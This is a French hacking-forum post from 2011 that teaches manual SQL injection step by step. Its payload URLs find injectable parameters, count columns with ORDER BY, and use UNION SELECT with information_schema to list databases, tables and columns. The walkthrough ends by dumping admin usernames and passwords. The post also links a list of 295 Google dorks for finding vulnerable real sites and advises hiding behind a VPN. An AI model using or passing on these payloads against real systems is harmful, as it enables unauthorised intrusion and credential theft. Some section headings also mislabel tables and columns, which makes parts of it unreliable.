GrapHack Index du Forum
AccueilLes règlesS’enregistrerRechercherFAQMembresGroupesConnexion
Exploitation manuelle de faille SQLi

 
Répondre au sujet    GrapHack Index du Forum » Les membres » Section WEB Sujet précédent
Sujet suivant
Exploitation manuelle de faille SQLi
Auteur Message
Anon
Administrateur
Administrateur

Hors ligne

Inscrit le: 17 Aoû 2011
Messages: 165
Point(s) recus: 171
Moyenne de points: 1,04

Message Exploitation manuelle de faille SQLi Répondre en citant
Hello, aujourd'hui on va parler de l'exploitation manuelle de failles SQLI (structure query language injection) l'injection sql donc.




J'avais proposé plusieurs tutos sur commande mais je propose là un nouveau tuto
pour tout le monde, voici les deux autres tutos que j'avais pu récupérer sur le web : 


1. En anglais (corrigé + lisibilité améliorée) utilisant la hack-bar (add-on firefox) :http://www.mediafire.com/?h2xf1o9aw2dsdc6  

2. En français (corrigé et amélioré) :  http://www.mediafire.com/?cswce69i36qk3bj 





Aujourd'hui un tuto made by Saitek :fier:
Ce tuto nécessite un minimum, genre savoir comment est composé une BDD (base de données) et 
optionnellement le SQL (le langage) pour mieux comprendre.




Ce qu'on va faire en gros : 


1°) Reconnaissance d'une faille
2°) Combien de colonnes dans la BDD
3°) Colonne accessible ?
4°) Trouver la version de MySQL
5°) Trouver le/les noms de la/les BDD
6°) Trouver le nom des tables
7°) Trouver le nom des colonnes
8°) Récupérer les infos
9°) Liste de dorks (295 dorks)
10°) Notes










C'est parti !! 
 
 
 
 
 
  

//1\\...Reconnaissance d'une faille : 
 
  
0.   Si vous lisez ce tuto c'est peut être que vous en avez déjà trouvé une
mais on sait jamais.
Cette méthode de reconnaissance est très simpliste, vous avez surement déjà lu ça.


1.
   Admettons l'url http://www.saitek.com/index.php?id=3
Afin de vérifier si cette url est vulnérable, on met un/une apostrophe à
la fin de celle-ci.


Soit http://www.saitek.com/index.php?id=3'


La page devrait ainsi vous afficher :


You have an error in your SQL syntax;  check the manual that corresponds to your MySQL server version
 for the right syntax to use near '\'' at line 1


2.
Ou tout autre message indiquant une erreur comme par
exemple ceci : 


Microsoft OLE DB Provider for ODBC Drivers error '80040e14'


[Microsoft][ODBC SQL Server Driver][SQL Server]Line 1: Incorrect syntax near 'idunite'.


/webapps/cpg2-5/fonctionnalites_2-0.asp, line 143


Comme sur le site de Nathan :sifflote:


Si vous avez ce dernier message, veuillez appuyer ce tuto à celui-ci :
http://hacktivision.com/index.php/2008/01/18/sql-injection-walkthrough-1?bl…










//2\\...Combien de colonnes dans la BDD : 
 
  

0.
Maintenant qu'on a trouvé une faille, on va devoir déterminer le nombre 
de colonnes dans la BDD. Pour ce faire, on va ajouter 


ORDER BY (nombre)--
comme ceci : 
http://www.saitek.com/index.php?id=3 ORDER BY (number)--


à notre URL. 




1.
On incrémente le nombre jusqu'à ce qu'on ait une erreur ou une page vide.
Pour notre site, on va dire qu'on à trouvé 7 colonnes. Pour les trouver on aura fait :


http://www.example.com/index.php?id=3 order by 1--  
http://www.example.com/index.php?id=3 order by 2--
http://www.example.com/index.php?id=3 order by 3--
http://www.example.com/index.php?id=3 order by 4--
http://www.example.com/index.php?id=3 order by 5--
http://www.example.com/index.php?id=3 order by 6--
http://www.example.com/index.php?id=3 order by 7--
http://www.example.com/index.php?id=3 order by 8--


On a donc eu une erreur (ou une page vide) à la dernière étape.
On a donc bien trouvé 7 colonnes.






//3\\...Colonne accessible ?


0.
Maintenant qu'on à déterminé le nombre de colonnes (7) il faut déterminer quelles
sont celles auxquelles on peut sous-tirer des informations.




1.
Pour ce faire, on utilisera "UNION" "SELECT" et le nombre de colonnes
Notre URL ressemblera donc à ça : 


http://www.saitek.com/index.php?id=-3 UNION SELECT 1,2,3,4,5,6,7--


Dans la partie 1,2,3,4,5,6,7 de l'URL vous mettez les nombres de colonnes
que vous voulez tester.
/!\ N'oubliez pas le "-" avant le nombre de l'id (3 ici)


En actualisant la page (qui peut un peu merder btw, style les brodures se 
déplacent un peu, la page s'aligne à gauche etc) vous trouverez 2 numéros, 
Ces numéros déterminent les colonnes accessibles. Mémorisez les bien.








//4\\...Trouver la version de MySQL 
 
  

0.
Pourquoi trouver la version de MySQL ?


Parce que depuis MySQL 5 vous ne pourrez plus voir les noms des colonnes et des tables.
Donc assez dur quand il peut y avoir beaucoup, beaucoup de tables.
Vous aurez donc à deviner les noms de colonnes et tables, et c'est pas une 
mince affaire ; croyez-moi.


Si vous êtes newbie donc, je vous conseille de tester sur un autre site avant, ou alors de scanner le site.
Avec havij par exemple vous pourrez voir les noms de BDD/colonnes/tables mais ce tuto
explique l'exploitation manuelle donc bon...




1.
Maintenant, prennons un des nombres qu'on à trouvé à l'étape précédente 
et remplacons-le par 


@@version


Par exemple, avant l'étape ton URL était de cette forme : 
http://www.saitek.com/index.php?id=-3 UNION SELECT 1,2,3,4,5,6,7--


Maintenant ton URL ressemble à :
http://www.saitek.com/index.php?id=-3 UNION SELECT @@version,2,3,4,5,6,7--


Appuyez sur "entrée"  et la page devrait vous donner le numéro de la BDD
Le 1er numéro obtenu dans l'étape précédente sera remplacé par le numéro de la BDD


NOTE ANTI-LEECHER : Tuto initialement crée par Saitek/Anon, admin de :
http://http://leshackersdunet.xooit.com/index.php
http://hack-bbs.xooit.fr/portal.php
http://hack-release.xooit.com/index.php



Le site http://www.saitek.com/ a un numéro de version de 5.0.45. (admettons)
Donc au dessus de 5









//5\\...Trouver le/les noms de la/les BDD 
  




0.
A présent, on va injecter le site pour trouver le/les nom de la/les BDD
On va remplacer 


@@version 


par 


group_concat(schema_name) 


Et aussi


+ from+information_schema.schemata--


après le dernier numéro de l'URL


Votre URL qui ressemblait à ça : 


http://www.saitek.com/index.php?id=-3 UNION SELECT @@version,2,3,4,5,6,7--


doit maintenant ressembler à ça :


http://www.saitek.com/index.php?id=-3 UNION SELECT group_concat(schema_name… from+information_schema.schemata--






1.
Cette opération va lister le/les nom(s) de la/les BDD
Pour voir celle que nous utilisons, on va remplacer


group_concat(schema_name)


par


concat(database()) 


et supprimer + from+information_schema.schemata


Votre URL doit donc ressembler à ça : 


http://www.saitek.com/index.php?id=-3 UNION SELECT concat(database()),2,3,4…


Ca va afficher quelle base de donnée nous utilisons.









//6\\...Trouver le nom des tables + pause café 
  


0.
Pour avoir les noms des tables de la BDD, on doit remplacer


concat(database()) 


par


group_concat(table_name))


et ajouter


from information_schema.tables where table_schema=database()


entre le dernier nombre et "--"
On doit aussi virer le "+" du UNION SELECT
Votre URL doit maintenant ressembler à ça : 


http://www.saitek.com/index.php?id=-3 union select group_concat(table_name),2,3,4,5,6,7 from information_schema.tables where table_schema=database()--


La page doit à présent afficher les noms des tables. (Je vous conseille de les noter)




1.
Voici un petit screen de ce à quoi cela doit ressembler : 














//7\\...Trouver le nom des tables 
  


0.
On va procéder de la même manière que pour trouver les noms des colonnes.
C'est à dire qu'on va juste changer 


table_name


par


column_name


et changer


information_schema.tables


par


information_schema.columns


Simple non ?
Une fois chose faite, votre URL doit ressembler à : 


http://www.saitek.com/index.php?id=-3 union select group_concat(column_name),2,3,4,5,6,7 from information_schema.columns where table_schema=database()--


De même manière que pour les colonnes, la page vous affiche les noms
des tables et je vous conseille toujours de les noter.






1.
Admettons que la page nous aient donnés des noms de colonnes forts 
intéressants. Par exemple


admin_username
admin_password







//8\\...Récupérer les infos 
  
 
  
0.
On a le nom de la base de donnée, les noms des tables, les noms des colonnes.
C'est à partir de ces quelques infos qu'on av pouvoir sous-tirer des informations !




1.
Voici ce que vous devez mettre dans votre URL :


http://www.saitek.com/index.php?id=-3 union select 1,group_concat(Columnname,0x3a,columnname,0x3a),2,3,4,5,6,7 from databasename.tablename--


Maintenant remplacez "columnname" par le/les nom(s) de colonne(s) dont vous voulez sous-tirer des infos.
/!\ Le bout de code sert à séparer les colonnes 


NOTE : COUCOU je suis un leecher et je n'ai même pas regardé le tuto avant de le voler
prière de ne pas parler de cette note ^^


Vous pouvez chercher autant de tables que vous voulez (dans les bonnes colonnes en remplacant "database.tablename"




Pour nous, l'URL sera 


http://www.saitek.com/index.php?id=-3 union select 1,group_concat(admin_username,0x3a,admin_password,0x3a),2,3,4,5,6,7 from whippit.t_admin--




2.
Dans notre cas, le NDD (nom de domaine) est www.saitek.com
On a 7 colonnes
On cherche les tables :
. admin_username
. admin_password
de la BDD "whippit"
et de la table "_admin"


Voilà la fin de l'exploitation. Avec cette méthode ch*ante vous pouvez avoir accès à tout. 
Et ce bien moins facilement qu'avec un logiciel, en revanche avec un coup de C++ vous pourrez faire votre propre logiciel !







//9\\...Liste de dorks (295 dorks) 
  


Vous voulez vous entraîner ? 
Signaler des sites faillibles ?


Alors voici une liste de 295 dorks pour googleoter



http://pastebin.com/4Y2MLcj6 




BTW vous pouvez trouver plein de dorks et pour à peu près tout sur  :

http://www.exploit-db.com/google-dorks/ 








//10\\...Notes 
  


0.
Le site www.saitek.com est utilisé à titre d'exemple uniquement. 
Tout rapprochement avec autre chose que mon propre pseudo serait infondé ou fortui


1.
Je vous conseille fortement d'utiliser un proxy/VPN(cyberghost par exemple)
Avant toute manipulation. Certains webmasters sont prêts à vous attaquer en Justice 
bien que vous leur poréveniez que leur système est défaillant.


2.
N'hésitez pas à poser vos questions ci-dessous




---------




Enjoy it !
Soyez intelligent, sachez rester White-hat !  
 
tuto crée par Saitek./Anon





TUTO CREE PAR SAITEK./ANON, ADIN DES HDN, DE HACK-BBS ET DE HACK-RELEASE

_______________________
( ゚∀゚)o彡゜えーりん!えーりん!
<?php $nbrPosts ++;




Dim 27 Nov - 03:13 (2011)
Publicité






Message Publicité
PublicitéSupprimer les publicités ?

Dim 27 Nov - 03:13 (2011)
Montrer les messages depuis:    
Répondre au sujet    GrapHack Index du Forum » Les membres » Section WEB Toutes les heures sont au format GMT + 2 Heures
Page 1 sur 1

 
Sauter vers: 

Index | Panneau d’administration | Creer un forum | Forum gratuit d’entraide | Annuaire des forums gratuits | Signaler une violation | Conditions générales d'utilisation
Powered by phpBB © 2001, 2005 phpBB Group
Design by Freestyle XL / Music Lyrics.Traduction par : phpBB-fr.com